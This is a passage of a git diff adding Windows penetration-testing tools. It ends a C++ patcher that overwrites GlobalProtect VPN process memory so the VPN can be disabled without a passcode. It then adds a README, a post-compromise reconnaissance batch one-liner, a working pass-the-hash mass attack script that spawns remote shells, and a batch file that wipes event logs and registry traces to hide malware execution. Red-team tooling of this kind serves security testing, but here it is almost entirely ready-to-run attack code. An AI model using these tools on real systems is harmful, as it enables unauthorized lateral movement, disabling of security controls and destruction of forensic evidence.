true; + for(size_t n = 0; n < patternToFindNum; n++) { + if(page[m + n] != patternToFind[n]) { + found = false; + break; + } + } + + if(found) { + dbg(L"Found pattern at: %016llx: %x, %x, %x, %x, %x, %x, %x, %x, ...", + addr + m, + page[m + 0], + page[m + 1], + page[m + 2], + page[m + 3], + page[m + 4], + page[m + 5], + page[m + 6], + page[m + 7] + ); + + for(size_t n = 0; n < bytesToBeReplacedNum; n++) { + if(page[m + patternToFindNum + n] != bytesToBeReplaced[n]) { + found = false; + + if ( page[m + patternToFindNum + n] == replacingBytes[n]) { + msg(L"Process is already patched.\nNo need to do it again."); + alreadyPatched = true; + return false; + } + + dbg(L"Assuring pattern failed at byte %d: %x -> %x", + n,page[m + patternToFindNum + n], bytesToBeReplaced[n] ); + break; + } + } + + if(found) { + foundAddr = addr + m + patternToFindNum; + dbg(L"Found pattern at: 0x%llx", foundAddr); + break; + } + } + } + } + + if (foundAddr) { + dbg(L"Starting patching process from address: %016llx", foundAddr); + out = 0; + + if(WriteProcessMemory( + hProcess, + reinterpret_cast(foundAddr), + replacingBytes, + replacingBytesNum, + &out + )) { + dbg(L"Process has been patched, written: %d bytes.", out); + return true; + } + + dbg(L"Process patching failed."); + return false; + } + + fetched += out; + addr += out; + } + } + + return false; +} + +int CALLBACK WinMain( + HINSTANCE hInstance, + HINSTANCE hPrevInstance, + LPSTR lpCmdLine, + int nCmdShow +) { + + HANDLE hToken = NULL; + + if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){ + msg(L"OpenProcessToken() failed, error %u\n", GetLastError()); + return 0; + } + + if(!setPrivilege(hToken, SE_DEBUG_NAME, TRUE)) { + msg(L"Failed to enable privilege, error %u\n", GetLastError()); + return 0; + } + + DWORD pid = findProcess(processName); + if (!pid) { + msg(L"Could not find GlobalProtect process."); + return 0; + } + + dbg(L"Found PanGPA process: %d", pid); + + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (!hProcess) { + msg(L"Could not open GlobalProtect process. Error: %d", GetLastError()); + return 0; + } + + dbg(L"Opened process handle."); + + BOOL ret = patchProcessMemory( + processName, + pid, + hProcess, + patternToFind, + sizeof(patternToFind), + bytesToBeReplaced, + sizeof(bytesToBeReplaced), + replacingBytes, + sizeof(replacingBytes) + ); + + if(!ret) { + if(!alreadyPatched) { + msg(L"Could not patch the process. Error: %d", GetLastError()); + } + } + else { + msg(L"Successfully patched the process! :-)\nNow, in order to bypass GlobalProtect - do the following:\n\t1. Right click on GlobalProtect Tray-icon\n\t2. Select 'Disable'\n\t3. In 'Passcode' input field enter whatever you like.\n\t4. Press OK.\n\nThe GlobalProtect should disable itself cleanly.\n\nHave fun!"); + } + + dbg(L"Closing process handle."); + CloseHandle(hProcess); + return 0; +} \ No newline at end of file diff --git a/windows/README.md b/windows/README.md new file mode 100644 index 0000000..115f789 --- /dev/null +++ b/windows/README.md @@ -0,0 +1,22 @@ +## Windows penetration testing related scripts, tools and Cheatsheets + + +- **`GlobalProtectDisable.cpp`** - Global Protect VPN Application patcher allowing the Administrator user to disable VPN without Passcode. ([gist](https://gist.github.com/mgeeky/54ac676226a1a4bd9fd8653e24adc2e9)) + + Steps are following: + + 1. Launch the application as an Administrator + 2. Read instructions carefully and press OK + 3. Right-click on GlobalProtect tray-icon + 4. Select "Disable" + 5. Enter some random meaningless password + + After those steps - the GlobalProtect will disable itself cleanly. + From now on, the GlobalProtect will remain disabled until you reboot the machine (or restart the PanGPA.exe process or PanGPS service). + + +- **`awareness.bat`** - Little and quick Windows Situational-Awareness set of commands to execute after gaining initial foothold (coming from APT34: https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html ) ([gist](https://gist.github.com/mgeeky/237b48e0bb6546acb53696228ab50794)) + +- **`pth-carpet.py`** - Pass-The-Hash Carpet Bombing utility - trying every provided hash against every specified machine. ([gist](https://gist.github.com/mgeeky/3018bf3643f80798bde75c17571a38a9)) + +- **`win-clean-logs.bat`** - Batch script to hide malware execution from Windows box. Source: Mandiant M-Trends 2017. ([gist](https://gist.github.com/mgeeky/3561be7e697c62f543910851c0a26d00)) diff --git a/windows/awareness.bat b/windows/awareness.bat new file mode 100644 index 0000000..88ad366 --- /dev/null +++ b/windows/awareness.bat @@ -0,0 +1 @@ +@echo off&chcp 65001& whoami 2>&1 & hostname 2>&1 & echo ________________________________IpConfig______________________________ & ipconfig /all 2>&1 & echo __________________________Domian Admins_______________________________ & net group "domain admins" /domain 2>&1 & echo _______________________net local group members________________________ & net localgroup administrators 2>&1 & echo ________________________________netstat_______________________________ & netstat -an 2>&1 & echo _____________________________systeminfo_______________________________ & systeminfo 2>&1 & echo ________________________________RDP___________________________________ & reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" 2>&1 & echo ____________________________Custom Command_______________________________ & wmic os get Caption /value | more 2>&1 & echo ________________________________Task__________________________________ & schtasks /query /FO List /TN "GoogleUpdateTasksMachineUI" /V | findstr /b /n /c:"Repeat: Every:" 2>&1 & echo ______________________________________________________________________ \ No newline at end of file diff --git a/windows/pth-carpet.py b/windows/pth-carpet.py new file mode 100644 index 0000000..3c562f0 --- /dev/null +++ b/windows/pth-carpet.py @@ -0,0 +1,222 @@ +#!/usr/bin/python + +# +# Simple script intended to perform Carpet Bombing against list +# of provided machines using list of provided LSA Hashes (LM:NTLM). +# The basic idea with Pass-The-Hash attack is to get One hash and use it +# against One machine. There is a problem with this approach of not having information, +# onto what machine we could have applied the hash. +# To combat this issue - the below script was born. +# +# Requirements: +# This script requires 'pth-winexe' utility (or winexe renamed to pth-winexe') be present +# within system during script's invocation. In case this utility will not be present - +# no further check upon ability to run commands from PTH attack - will be displayed. +# Also, modules such as: +# - impacket +# +# Notice: +# This script is capable of verifying exploitability of only Windows boxes. In case +# of other type of boxes (running Samba) pth-winexe will not yield satisfying results. +# +# Usage: +# $ ./pth-carpet.py machines.txt pwdump +# +# coded by: +# Mariusz B., 2016 / mgeeky +# version 0.2 +# +# Should be working on Windows boxes as well as on Linux ones. +# + +from __future__ import print_function + +import os +import sys +import argparse +import signal +import logging +import threading +import subprocess +import multiprocessing + +from termcolor import colored +from functools import partial +from multiprocessing.managers import BaseManager +from impacket.dcerpc.v5 import transport + +WORKERS = multiprocessing.cpu_count() * 4 +TIMEOUT = 10 +OPTIONS = None +LOCK = multiprocessing.Lock() + +def info(txt): + with LOCK: + print (txt) + +def success(txt): + info(colored('[+] '+txt, 'green', attrs=['bold'])) + +def warning(txt): + info(colored('[*] '+txt, 'yellow')) + +def verbose(txt): + if OPTIONS.v: + info(colored('[?] '+txt, 'white')) + +def err(txt): + info(colored('[!] '+txt, 'red')) + +class Command(object): + def __init__(self, cmd): + self.cmd = cmd + self.process = None + self.output = '' + self.error = '' + verbose( '\tCalling: "%s"' % cmd) + + def get_output(self): + return self.output, self.error + + def run(self, stdin, timeout): + def target(): + self.process = subprocess.Popen(self.cmd, shell=True, \ + stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) + self.output, self.error = self.process.communicate(stdin) + + thread = threading.Thread(target=target) + thread.start() + thread.join(timeout) + if thread.is_alive(): + self.process.terminate() + thread.join() + return False + else: + return True + +def init_worker(): + # http://stackoverflow.com/a/6191991 + signal.signal(signal.SIGINT, signal.SIG_IGN) + +def cmd_exists(cmd): + return subprocess.call("type " + cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 + +def check_rce(host, username, hash, port): + verbose('\tChecking whether provided hash can be used to PTH remote code execution') + + if cmd_exists('pth-winexe'): + userswitch = '%s%%%s' % (username, hash) + c = Command('pth-winexe -U %s //%s cmd' % (userswitch, host)) + if c.run('exit\n', TIMEOUT): + pass + else: + verbose('\tPTH-Winexe had to be terminated.') + out, error = c.get_output() + if 'Microsoft' in out and '(C) Copyright' in out and '[Version' in out: + return True + else: + errorm = error[error.find('NT_STATUS'):].strip() + if not errorm.startswith('NT_STATUS'): + if 'NT_STATUS' in error: + errorm = error + else: + errorm = 'Unknown error' + if OPTIONS.v: + err('\tCould not spawn shell using PTH: ' + errorm) + else: + warning('\tPlease check above hash whether using it you can access writeable $IPC share to execute cmd.') + + return False + +def login(host, username, hash, port): + stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % host + + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(port) + + lmhash, nthash = hash.split(':') + rpctransport.set_credentials(username, '', '', lmhash, nthash, None) + + dce = rpctransport.get_dce_rpc() + try: + dce.connect() + return check_rce(host, username, hash, port) + except Exception, e: + raise e + +def correct_hash(hash): + lmhash, nthash = hash.split(':') + if '*' in lmhash: + lmhash = '0' * 32 + if '*' in nthash: + nthash = '0' * 32 + + return lmhash + ':' + nthash + +def worker(stopevent, pwdump, machine): + for user, hash in pwdump.items(): + if stopevent.is_set(): + break + + hash = correct_hash(hash) + try: + if login(machine, user, hash, OPTIONS.port): + success('Pass-The-Hash with shell spawned: %s@%s (%s)' % (user, machine, hash)) + else: + if OPTIONS.v: + warning('Connected using PTH but could\'nt spawn shell: %s@%s (%s)' % (user, machine, hash)) + except Exception, e: + verbose('Hash was not accepted: %s@%s (%s)\n\t%s' % (user, machine, hash, str(e))) + + +def main(): + global OPTIONS + + print(colored('\n\tPass-The-Hash Carpet Bombing utility\n\tSmall utility trying every provided hash against every specified machine.\n\tMariusz B., 2016\n', 'white', attrs=['bold'])) + + parser = argparse.ArgumentParser(add_help = True, description='Pass-The-Hash mass checking tool') + parser.add_argument('rhosts', nargs='?', help='Specifies input file containing list of machines or CIDR notation of hosts') + parser.add_argument('hashes', nargs='?', help='Specifies input file containing list of dumped hashes in pwdump format') + parser.add_argument('-v', action='store_true', help='Verbose mode') + parser.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar='smb port', help='Destination port used to connect into SMB Server') + + if len(sys.argv) < 3: + parser.print_help() + sys.exit(1) + + OPTIONS = parser.parse_args() + + machines = [x.strip() for x in open(OPTIONS.rhosts).readlines() ] + rawpwdump = [x.strip() for x in open(OPTIONS.hashes).readlines() ] + pwdump = {} + + for p in rawpwdump: + try: + user = p.split(':')[0] + hash = p.split(':')[2] + ':' + p.split(':')[3] + except: + err('Supplied hashes file does not conform PWDUMP format!') + err('\tIt must be like this: ::::...') + sys.exit(1) + + pwdump[user] = hash + + warning('Testing %d hashes against %d machines. Resulting in total in %d PTH attempts\n' \ + % (len(pwdump), len(machines), len(pwdump) * len(machines))) + + stopevent = multiprocessing.Manager().Event() + + try: + pool = multiprocessing.Pool(WORKERS, init_worker) + func = partial(worker, stopevent, pwdump) + pool.map_async(func, machines) + pool.close() + pool.join() + + except KeyboardInterrupt: + pool.terminate() + pool.join() + success('\nUser interrupted the script.') + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/windows/win-clean-logs.bat b/windows/win-clean-logs.bat new file mode 100644 index 0000000..323b81b --- /dev/null +++ b/windows/win-clean-logs.bat @@ -0,0 +1,13 @@ +@echo off +del /f /q /s %windir%\prefetch\* +reg delete “HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache” /va /f +reg delete “HKLM\Software\Microsoft\Windows\ShellNoRoam\MUICache” /va /f +reg delete “HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache” /va /f +reg delete “HKLM\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache” /va /f +reg delete “HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU” /va /f +reg delete “HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist” /va /f +wmic nteventlog where LogFileName=’File Replication Service’ Call ClearEventlog +wmic nteventlog where LogFileName=’Application’ Call ClearEventlog +wmic nteventlog where LogFileName=’System’ Call ClearEventlog +wmic nteventlog where LogFileName=’PowerShell’ Call ClearEventlog +ren %1 temp000 & copy /y %windir%\regedit.exe temp000 & del temp000 \ No newline at end of file